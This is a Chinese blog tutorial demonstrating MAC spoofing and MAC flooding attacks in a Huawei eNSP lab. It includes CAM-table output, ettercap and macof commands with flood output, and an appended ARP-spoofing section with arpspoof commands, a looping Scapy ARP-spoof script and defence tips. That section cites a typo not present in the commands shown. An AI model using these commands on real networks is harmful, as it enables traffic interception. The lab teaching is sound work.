MAC地址欺骗与MAC地址泛洪攻击(eNSP环境演示)

MAC地址欺骗和MAC地址泛红攻击,是很古老的二层攻击手法,现在也很少用在网络攻击实战中,但对于其攻击原理却很值得学习,本文通过eNSP抓包的实践方式,充分学习了这两种攻击的手段,使我们对二层网络攻击有了更深刻的理解。

一、实验环境

eNSP拓扑环境
在这里插入图片描述

二、MAC地址欺骗

1、攻击原理:
MAC地址欺骗是数据链路层攻击,它是利用交换机端口学习的漏洞,通过客户端向交换机发送欺骗报文、攻击交换机的CAM表的方式,使交换机CAM表的记录与真实的主机对应MAC地址不一致,从而使交换机将报文错误转发给攻击者。
2、交换机的端口学习是如何进行的?又有何漏洞?我们实验先来了解一下。
(1)首先,我们在交换机LSW1上执行命令,清空交换机的CAM表,此时查看CAM表,内容为空。

[Huawei]undo mac-address all
[Huawei]display mac-address
[Huawei]

(2)我们从PC1上向PC2发一个构造的udp包,如图。
在这里插入图片描述
此时查看交换机的CAM表,发现已经学习了一条记录。

[Huawei]display mac-address
MAC address table of slot 0:
-------------------------------------------------------------------------------
MAC Address    VLAN/       PEVLAN CEVLAN Port            Type      LSP/LSR-ID  
               VSI/SI                                              MAC-Tunnel  
-------------------------------------------------------------------------------
5489-98dd-6106 1           -      -      Eth0/0/1        dynamic   0/-         
-------------------------------------------------------------------------------
Total matching items on slot 0 displayed = 1

我们再构造一个数据包,由PC1发给PC2,源MAC地址换成kali的MAC地址00-0c-29-6c-fc-6e。
在这里插入图片描述
再次查看交换机CAM表,发现交换机将kali的mac地址与Eht0/0/1绑定。

[Huawei]display mac-address
MAC address table of slot 0:
-------------------------------------------------------------------------------
MAC Address    VLAN/       PEVLAN CEVLAN Port            Type      LSP/LSR-ID  
               VSI/SI                                              MAC-Tunnel  
-------------------------------------------------------------------------------
000c-296c-fc6e 1           -      -      Eth0/0/1        dynamic   0/-         
5489-98dd-6106 1           -      -      Eth0/0/1        dynamic   0/-         
-------------------------------------------------------------------------------
Total matching items on slot 0 displayed = 2 

由上,我们得到结论,交换机从某个端口收到一个数据包,它先读取包头中的源MAC地址,这样他就知道源MAC地址来自哪个端口,它会在CAM表中添加一条端口和MAC地址对应的记录。这种工作很高效,但如果交换机接收到了客户端伪造的源MAC地址的数据包,交换机同样也会将伪造的记录添加到CAM表中,作为信任的记录,这样就形成了MAC地址欺骗的漏洞。

【补充20200418】
上述的发包方式,虽然可以达到欺骗目的,但由于目的mac地址随机设置,交换机在接收到CAM表没有的MAC地址后,会以广播包的形式转发到网络中,这样网络中会产生大量的网络包,容易被受害者发现。因此,针对这种情况,可以将目标MAC地址设置为欺骗者本身的MAC地址,源MAC地址设置为受害者的MAC地址。同时,此过程可以使用工具ettercap实现,具体命令如下。

ettercap -T -q -M port:remote /192.168.253.164//

3、明白了交换机端口学习的原理,我们现在来伪造数据包,造成MAC地址欺骗,同时准备以下三个条件,如下图。
(1)在PC1上伪造源MAC为kali的MAC地址00-0c-29-6c-fc-6e,不停的发UDP包给PC2。
(2)在LSW1的Ehternet 0/0/1和Ethenet 0/0/3端口同时抓包。
(3)在PC2构造PC2到kali的数据包。
正常无欺骗的情况,LSW1的Ethenet 0/0/3端口可以抓到(3)过程的包。如果欺骗成功,则抓不到包,而是在LSW1的Ethenet 0/0/1端口上可以抓到该包。
在这里插入图片描述
构造的(1)过程中PC1周期发送如下图UDP报文
在这里插入图片描述
构造的(3)过程中PC2发给kali的数据包
在这里插入图片描述
LSW1的Ehternet 0/0/1抓包结果(点击下载
在这里插入图片描述
LSW1的Ehternet 0/0/3抓包结果
在这里插入图片描述
由此可见,原本由PC2发给kali的数据包,被PC1欺骗交换机后,交换机将报文转发给了PC1,这样PC1成功完成了MAC地址欺骗攻击。

三、MAC地址泛洪攻击

1、漏洞原理
每台交换机的CAM表都有最大记录条数,当交换机端口学习得到的记录大于交换机CAM表条数上限时,交换机收到一个网络帧,只要其目的站的MAC地址不存在于该交换机CAM表中,那么该帧会以广播的方式发向交换机的每一个端口,此时的交换机就相当于一个集线器HUB,我们就可以监听网络中的所有通讯报文。
2、攻击过程
以kali为攻击机,使用macof命令向网络中发送大量网络不存在的源mac地址,堵塞交换机的CAM表。

root@secwand:~#apt-get install dsniff	#安装macof
root@secwand:~# macof
de:f0:1b:1c:6f:8e ba:8d:41:6:3d:7a 0.0.0.0.25215 > 0.0.0.0.49125: S 475078686:475078686(0) win 512
ea:38:be:33:e5:aa 4d:ce:29:60:3c:2f 0.0.0.0.39934 > 0.0.0.0.238: S 1559529363:1559529363(0) win 512
b5:ea:9a:4:2d:1c 3:33:5f:73:fa:d2 0.0.0.0.58068 > 0.0.0.0.18986: S 697518561:697518561(0) win 512
31:1f:6c:72:6f:80 7c:a8:df:55:99:25 0.0.0.0.29320 > 0.0.0.0.56619: S 444895901:444895901(0) win 512
2:47:e7:37:ca:19 a9:73:33:66:61:2d 0.0.0.0.54528 > 0.0.0.0.25861: S 993143653:993143653(0) win 512
3b:75:bd:54:e7:55 4d:d1:68:4:5a:f0 0.0.0.0.28814 > 0.0.0.0.35766: S 1430997091:1430997091(0) win 512
e7:81:bb:79:4b:af df:ed:92:76:fe:79 0.0.0.0.59194 > 0.0.0.0.18284: S 1586191808:1586191808(0) win 512
9b:28:c8:4d:35:bb 4c:d2:d9:5b:3f:d0 0.0.0.0.46568 > 0.0.0.0.15767: S 1249153469:1249153469(0) win 512
13:6:d:71:2a:26 5f:82:7:70:d6:4c 0.0.0.0.41050 > 0.0.0.0.34579: S 1375163656:1375163656(0) win 512
94:cb:82:1f:a2:22 2e:4:26:69:88:cf 0.0.0.0.44712 > 0.0.0.0.33754: S 1652107051:1652107051(0) win 512
3f:7c:f7:1b:7:80 13:53:17:53:5c:c6 0.0.0.0.48520 > 0.0.0.0.34351: S 585705839:585705839(0) win 512

3、此时在交换机查看CAM表,发现表中大量陌生MAC地址记录,同时根据端口绑定可以看到绑定来自Ethernet0/0/3,说明这个攻击来自这接口。

[Huawei]display mac-address
MAC address table of slot 0:
-------------------------------------------------------------------------------
MAC Address    VLAN/       PEVLAN CEVLAN Port            Type      LSP/LSR-ID  
               VSI/SI                                              MAC-Tunnel  
-------------------------------------------------------------------------------
0050-56c0-0008 1           -      -      Eth0/0/3        dynamic   0/-         
0050-56eb-c57d 1           -      -      Eth0/0/3        dynamic   0/-         
5489-985d-0598 1           -      -      Eth0/0/2        dynamic   0/-         
5489-98dd-6106 1           -      -      Eth0/0/1        dynamic   0/-         
0050-56ef-dc6d 1           -      -      Eth0/0/3        dynamic   0/-         
000c-296c-fc6e 1           -      -      Eth0/0/3        dynamic   0/-         
feef-5464-ecad 1           -      -      Eth0/0/3        dynamic   0/-         
eaaa-9473-1926 1           -      -      Eth0/0/3        dynamic   0/-         
22a6-7027-c5f4 1           -      -      Eth0/0/3        dynamic   0/-         
7019-0f73-c876 1           -      -      Eth0/0/3        dynamic   0/-         
2eef-313b-f53f 1           -      -      Eth0/0/3        dynamic   0/-         
5682-5743-45c8 1           -      -      Eth0/0/3        dynamic   0/-         
7670-c168-505e 1           -      -      Eth0/0/3        dynamic   0/-         
8aaa-ba4f-489d 1           -      -      Eth0/0/3        dynamic   0/-         
a6a8-2d2a-73a7 1           -      -      Eth0/0/3        dynamic   0/-         
120c-2355-b4b5 1           -      -      Eth0/0/3        dynamic   0/-         
5833-be1f-0aa6 1           -      -      Eth0/0/3        dynamic   0/-         
f438-0117-c0dc 1           -      -      Eth0/0/3        dynamic   0/-         
dee0-7b40-1207 1           -      -      Eth0/0/3        dynamic   0/-         
4af0-244c-25d9 1           -      -      Eth0/0/3        dynamic   0/-         
f4d0-e92b-4fd5 1           -      -      Eth0/0/3        dynamic   0/-         
2859-7003-3924 1           -      -      Eth0/0/3        dynamic   0/-         
86ea-0825-52a2 1           -      -      Eth0/0/3        dynamic   0/-         
a4fd-c13a-8c3c 1           -      -      Eth0/0/3        dynamic   0/-         
  ---- More ----

4、实际网络攻击中,已经很少使用MAC地址泛洪攻击,当这种攻击的原理仍然值得我们学习。

### ARP欺骗ENSP平台上的模拟防御 #### 一、ARP欺骗原理概述 地址解析协议(ARP, Address Resolution Protocol)用于将IP地址映射到MAC地址。然而,在局域网环境中,恶意设备可以通过伪造ARP响应来误导其他主机的信任关系,从而实现中间人攻击或其他网络威胁[^1]。 #### 二、ENSP上ARP欺骗的模拟过程 为了演示ARP欺骗的过程及其影响,可以在华为ENSP仿真软件中构建如下拓扑结构: - **路由器**:作为默认网关。 - **PC机A**:充当客户端。 - **PC机B**:充当服务器端。 - **Kali Linux虚拟机**:用作攻击者节点。 ##### 配置步骤说明 1. 开启流量转发功能以便于数据包能够通过攻击者的机器传输至目标双方之间。 2. 使用`arpspoof`命令分别向客户端和服务端发送虚假的ARP回复消息: ```bash arpspoof -i eth0 -t 192.168.11.10 192.168.11.20 arpspoof -i eth0 -t 192.168.11.20 192.168.11.10 ``` 这里需要注意的是第二个命令中的子网掩码部分可能存在笔误应改为`.11.`而非`.169.`以匹配同一子网内的通信需求。 3. 启动Wireshark工具捕获并分析经过攻击者系统的网络流量,验证是否存在未加密敏感信息泄露情况。 #### 三、针对ARP欺骗的安全防护措施 鉴于上述实验揭示的风险隐患,现列举几种有效的防范策略供参考实施: 1. **静态绑定ARP表项** 在受信任的关键设备上手动设置固定的IP-MAC对应条目,防止动态更新带来的不确定性风险。 2. **启用DHCP Snooping技术** 此机制允许交换机能区分合法非法的DHCP请求/回应报文,并阻止来自不可信源的数据流入内部网络区域。 3. **部署防毒墙或入侵检测系统(IDS)** 利用专业的网络安全产品实时监控异常活动迹象,一旦监测到可疑行为立即告警甚至阻断连接尝试。 4. **采用安全隧道协议(SSL/TLS)** 对于需保护的重要业务交互操作建议全程运用高强度加密手段保障信息安全传递不受窃听篡改危害。 ```python # 示例Python脚本片段展示如何利用Scapy库生成自定义ARP帧进行测试学习用途仅限授权环境下开展 from scapy.all import * def send_arp_spoof(target_ip, host_ip, interface="eth0"): packet = ARP(op=2, pdst=target_ip, hwdst=getmacbyip(target_ip), psrc=host_ip) send(packet, iface=interface) if __name__ == "__main__": target_a = "192.168.11.10" gateway_b = "192.168.11.20" try: while True: send_arp_spoof(target_a, gateway_b) time.sleep(1) except KeyboardInterrupt: pass ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值